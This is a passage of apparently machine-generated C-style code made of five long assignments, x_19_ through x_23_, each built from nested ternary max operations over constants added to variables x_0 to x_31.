x_19_ = (((((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) > ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))? ((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) : ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))) > (((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) > ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14))? ((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) : ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14)))? (((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) > ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))? ((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) : ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))) : (((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) > ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14))? ((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) : ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14)))) > ((((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) > ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))? ((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) : ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))) > (((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) > ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29))? ((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) : ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29)))? (((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) > ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))? ((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) : ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))) : (((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) > ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29))? ((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) : ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29))))? ((((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) > ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))? ((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) : ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))) > (((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) > ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14))? ((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) : ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14)))? (((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) > ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))? ((13.0 + x_1) > (17.0 + x_2)? (13.0 + x_1) : (17.0 + x_2)) : ((4.0 + x_3) > (3.0 + x_4)? (4.0 + x_3) : (3.0 + x_4))) : (((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) > ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14))? ((8.0 + x_6) > (9.0 + x_9)? (8.0 + x_6) : (9.0 + x_9)) : ((8.0 + x_13) > (1.0 + x_14)? (8.0 + x_13) : (1.0 + x_14)))) : ((((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) > ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))? ((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) : ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))) > (((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) > ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29))? ((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) : ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29)))? (((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) > ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))? ((7.0 + x_19) > (10.0 + x_21)? (7.0 + x_19) : (10.0 + x_21)) : ((10.0 + x_22) > (5.0 + x_23)? (10.0 + x_22) : (5.0 + x_23))) : (((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) > ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29))? ((9.0 + x_24) > (2.0 + x_25)? (9.0 + x_24) : (2.0 + x_25)) : ((15.0 + x_28) > (18.0 + x_29)? (15.0 + x_28) : (18.0 + x_29)))));
x_20_ = (((((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) > ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))? ((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) : ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))) > (((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) > ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13))? ((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) : ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13)))? (((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) > ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))? ((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) : ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))) : (((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) > ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13))? ((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) : ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13)))) > ((((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) > ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))? ((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) : ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))) > (((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) > ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31))? ((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) : ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31)))? (((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) > ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))? ((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) : ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))) : (((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) > ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31))? ((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) : ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31))))? ((((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) > ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))? ((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) : ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))) > (((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) > ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13))? ((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) : ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13)))? (((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) > ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))? ((11.0 + x_2) > (3.0 + x_5)? (11.0 + x_2) : (3.0 + x_5)) : ((18.0 + x_6) > (9.0 + x_7)? (18.0 + x_6) : (9.0 + x_7))) : (((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) > ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13))? ((8.0 + x_8) > (13.0 + x_11)? (8.0 + x_8) : (13.0 + x_11)) : ((20.0 + x_12) > (4.0 + x_13)? (20.0 + x_12) : (4.0 + x_13)))) : ((((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) > ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))? ((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) : ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))) > (((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) > ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31))? ((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) : ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31)))? (((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) > ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))? ((20.0 + x_14) > (6.0 + x_19)? (20.0 + x_14) : (6.0 + x_19)) : ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23))) : (((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) > ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31))? ((8.0 + x_26) > (17.0 + x_27)? (8.0 + x_26) : (17.0 + x_27)) : ((1.0 + x_30) > (4.0 + x_31)? (1.0 + x_30) : (4.0 + x_31)))));
x_21_ = (((((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) > ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))? ((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) : ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))) > (((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) > ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19))? ((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) : ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19)))? (((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) > ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))? ((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) : ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))) : (((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) > ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19))? ((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) : ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19)))) > ((((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) > ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))? ((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) : ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))) > (((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) > ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31))? ((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) : ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31)))? (((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) > ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))? ((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) : ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))) : (((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) > ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31))? ((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) : ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31))))? ((((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) > ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))? ((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) : ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))) > (((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) > ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19))? ((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) : ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19)))? (((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) > ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))? ((17.0 + x_0) > (14.0 + x_2)? (17.0 + x_0) : (14.0 + x_2)) : ((5.0 + x_4) > (6.0 + x_9)? (5.0 + x_4) : (6.0 + x_9))) : (((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) > ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19))? ((5.0 + x_12) > (19.0 + x_17)? (5.0 + x_12) : (19.0 + x_17)) : ((13.0 + x_18) > (1.0 + x_19)? (13.0 + x_18) : (1.0 + x_19)))) : ((((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) > ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))? ((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) : ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))) > (((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) > ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31))? ((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) : ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31)))? (((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) > ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))? ((17.0 + x_21) > (8.0 + x_22)? (17.0 + x_21) : (8.0 + x_22)) : ((3.0 + x_24) > (7.0 + x_25)? (3.0 + x_24) : (7.0 + x_25))) : (((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) > ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31))? ((4.0 + x_26) > (2.0 + x_27)? (4.0 + x_26) : (2.0 + x_27)) : ((14.0 + x_30) > (7.0 + x_31)? (14.0 + x_30) : (7.0 + x_31)))));
x_22_ = (((((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) > ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))? ((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) : ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))) > (((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) > ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17))? ((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) : ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17)))? (((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) > ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))? ((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) : ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))) : (((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) > ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17))? ((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) : ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17)))) > ((((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) > ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))? ((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) : ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))) > (((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) > ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29))? ((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) : ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29)))? (((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) > ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))? ((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) : ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))) : (((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) > ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29))? ((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) : ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29))))? ((((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) > ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))? ((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) : ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))) > (((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) > ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17))? ((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) : ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17)))? (((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) > ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))? ((16.0 + x_3) > (3.0 + x_8)? (16.0 + x_3) : (3.0 + x_8)) : ((8.0 + x_9) > (13.0 + x_11)? (8.0 + x_9) : (13.0 + x_11))) : (((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) > ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17))? ((1.0 + x_13) > (5.0 + x_14)? (1.0 + x_13) : (5.0 + x_14)) : ((20.0 + x_15) > (6.0 + x_17)? (20.0 + x_15) : (6.0 + x_17)))) : ((((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) > ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))? ((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) : ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))) > (((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) > ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29))? ((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) : ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29)))? (((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) > ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))? ((16.0 + x_18) > (13.0 + x_19)? (16.0 + x_18) : (13.0 + x_19)) : ((11.0 + x_22) > (10.0 + x_23)? (11.0 + x_22) : (10.0 + x_23))) : (((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) > ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29))? ((11.0 + x_24) > (1.0 + x_27)? (11.0 + x_24) : (1.0 + x_27)) : ((16.0 + x_28) > (5.0 + x_29)? (16.0 + x_28) : (5.0 + x_29)))));
x_23_ = (((((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) > ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))? ((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) : ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))) > (((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) > ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12))? ((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) : ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12)))? (((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) > ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))? ((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) : ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))) : (((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) > ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12))? ((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) : ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12)))) > ((((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) > ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))? ((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) : ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))) > (((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) > ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29))? ((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) : ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29)))? (((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) > ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))? ((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) : ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))) : (((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) > ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29))? ((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) : ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29))))? ((((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) > ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))? ((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) : ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))) > (((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) > ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12))? ((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) : ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12)))? (((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) > ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))? ((16.0 + x_0) > (10.0 + x_1)? (16.0 + x_0) : (10.0 + x_1)) : ((15.0 + x_3) > (1.0 + x_4)? (15.0 + x_3) : (1.0 + x_4))) : (((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) > ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12))? ((7.0 + x_9) > (2.0 + x_10)? (7.0 + x_9) : (2.0 + x_10)) : ((16.0 + x_11) > (11.0 + x_12)? (16.0 + x_11) : (11.0 + x_12)))) : ((((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) > ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))? ((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) : ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))) > (((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) > ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29))? ((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) : ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29)))? (((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) > ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))? ((9.0 + x_13) > (15.0 + x_15)? (9.0 + x_13) : (15.0 + x_15)) : ((10.0 + x_16) > (16.0 + x_21)? (10.0 + x_16) : (16.0 + x_21))) : (((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) > ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29))? ((7.0 + x_22) > (6.0 + x_25)? (7.0 + x_22) : (6.0 + x_25)) : ((16.0 + x_27) > (4.0 + x_29)? (16.0 + x_27) : (4.0 + x_29)))));
